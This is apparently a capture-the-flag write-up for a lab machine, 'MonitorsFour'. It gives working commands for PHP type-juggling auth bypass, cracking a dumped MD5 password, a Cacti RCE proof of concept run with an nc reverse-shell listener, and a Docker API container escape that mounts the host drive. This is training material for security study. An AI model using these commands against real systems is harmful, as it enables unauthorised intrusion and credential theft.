Table of Contents
Open Table of Contents
Reconnaissance
nmap
First step as always… see what services are running on this IP…
nmap 10.10.11.98
An nmap scan revealed WinRM and nginx running. The presence of WinRM hints that the host is likely using Windows Linux Subsystem for services.
A wget request shows it redirects to monitorsfour.htb, and since this domain naturally won’t resolve via DNS, we need to add it to the system’s hosts file:
echo "10.10.11.98 monitorsfour.htb" >> /etc/hosts
Now we see a landing page with some about/login pages.
Later, after many manual payload attempts and sqlmap, I concluded the login form isn’t vulnerable to SQLi :)
Fuzzing
I performed directory fuzzing on the domain:
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u http://monitorsfour.htb/FUZZ -mc all -fc 404,400
Results showed accessible paths: users, user, login, admin, and .env
It was ridiculous that .env was left exposed like that :)) but ultimately it wasn’t very useful:
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f*********
PHP Type Juggling
Requesting /users returned missing token. Adding a value for ?token gave invalid or missing token. Since we know the environment uses PHP 8.3.27, we can exploit Type Juggling. In PHP, comparison with == leads to type conversion during comparison, unlike ===.
ffuf -c -u http://monitorsfour.htb/user?token=FUZZ -w php_loose_comparison.txt -fw 4
With another fuzzing round, we try to find a suitable value for Type Juggling. The value 0 works, and tokens likely start with 0e which, when converted to integer, is treated as scientific notation, making 0 == 0.0 ultimately true.
curl http://monitorsfour.htb/users?token=0
This returned all users with their password hashes :))
hashcat
The admin user is more interesting. Examining the password hash, we identify it as MD5 and attempt to crack it with hashcat and the rockyou wordlist:
hashcat -m 0 56b32eb43e6f15395f6c46c1c9e1cd36 /usr/share/wordlists/rockyou.txt
It cracks easily. Password: wonderful1
Also worth mentioning, in the user details we obtained, alongside the username, the admin’s full name was Marcus Higgins.
I logged into the admin panel with these credentials. There was a very important detail in the panel. In their changelog, they mentioned using Docker 4.44.2. This Docker version has a CVE: CVE-2025-9074
vhost Fuzzing
With further investigation, I realized other puzzle pieces were elsewhere and our work here was almost done. Another fuzzing round on vhosts yielded interesting results:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://monitorsfour.htb -H "Host:FUZZ.monitorsfour.htb" -fs 4 -ac
- Note: using the -ac flag is important
Result: cacti [Status: 302]
Now we know there’s a Cacti instance served on cacti.monitorsfour.htb and we open the address. (Remember to add this to /etc/hosts too)
I tried logging in with admin and the password wonderful1, which didn’t work. But we can guess the username from previous information - it belongs to Marcus Higgins, so we try combinations. marcus:wonderful1 worked and we logged into Cacti.
RCE - Cacti 1.2.28
This Cacti version has a new CVE: CVE-2025-24367
A simple search found a PoC that gives us RCE. Here’s the repo with more details: CVE-2025-24367-Cacti-PoC
python3 poc.py -u marcus -p wonderful1 -i 10.10.14.147 -l 1234 -url http://cacti.monitorsfour.htb
Before running this, we need an nc listener:
nc -lvnp 1234
Now we got a reverse shell. Checking the hostname reveals we’re inside a Docker container with ID: 821fbd6a43fa
User flag
At this point, navigating to /home allows us to read user.txt and obtain the user flag. Halfway done.
Privilege Escalation
As mentioned earlier, CVE-2025-9074 (Docker API Escape) allows us to communicate with Docker’s internal interface and create a new container with the Windows C:/ drive mounted in volumes.
This Docker API is at http://192.168.65.7:2375/ which we’ll exploit.
First, check available Docker images:
curl http://192.168.65.7:2375/images/json
Create a privileged container:
curl -X POST http://192.168.65.7:2375/containers/create?name=pwn2 \
-H "Content-Type: application/json" \
-d '{"Image":"alpine:latest","Cmd":["/bin/sh","-c","while true; do sleep 3600; done"],"HostConfig":{"Privileged":true,"Binds":["/run/desktop/mnt/host/c:/host"]}}'
Start the container (use the NEW container ID from response, not 821fbd6a43fa):
curl -X POST http://192.168.65.7:2375/containers/NEW_CONTAINER_ID/start
Root flag
Get an Exec ID:
curl -X POST http://192.168.65.7:2375/containers/NEW_CONTAINER_ID/exec \
-H "Content-Type: application/json" \
-d '{"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/host/Users/Administrator/Desktop/root.txt"]}'
Now start the Exec_ID like this to get the root flag :))
curl -X POST http://192.168.65.7:2375/exec/EXEC_ID/start -H "Content-Type: application/json" -d '{"Detach":false,"Tty":false}'
And done. The Docker stage took longer than I want to admit because I wasn’t familiar with Docker’s internal systems, and the key was getting the Exec ID and executing commands. But it summarizes to just these few lines.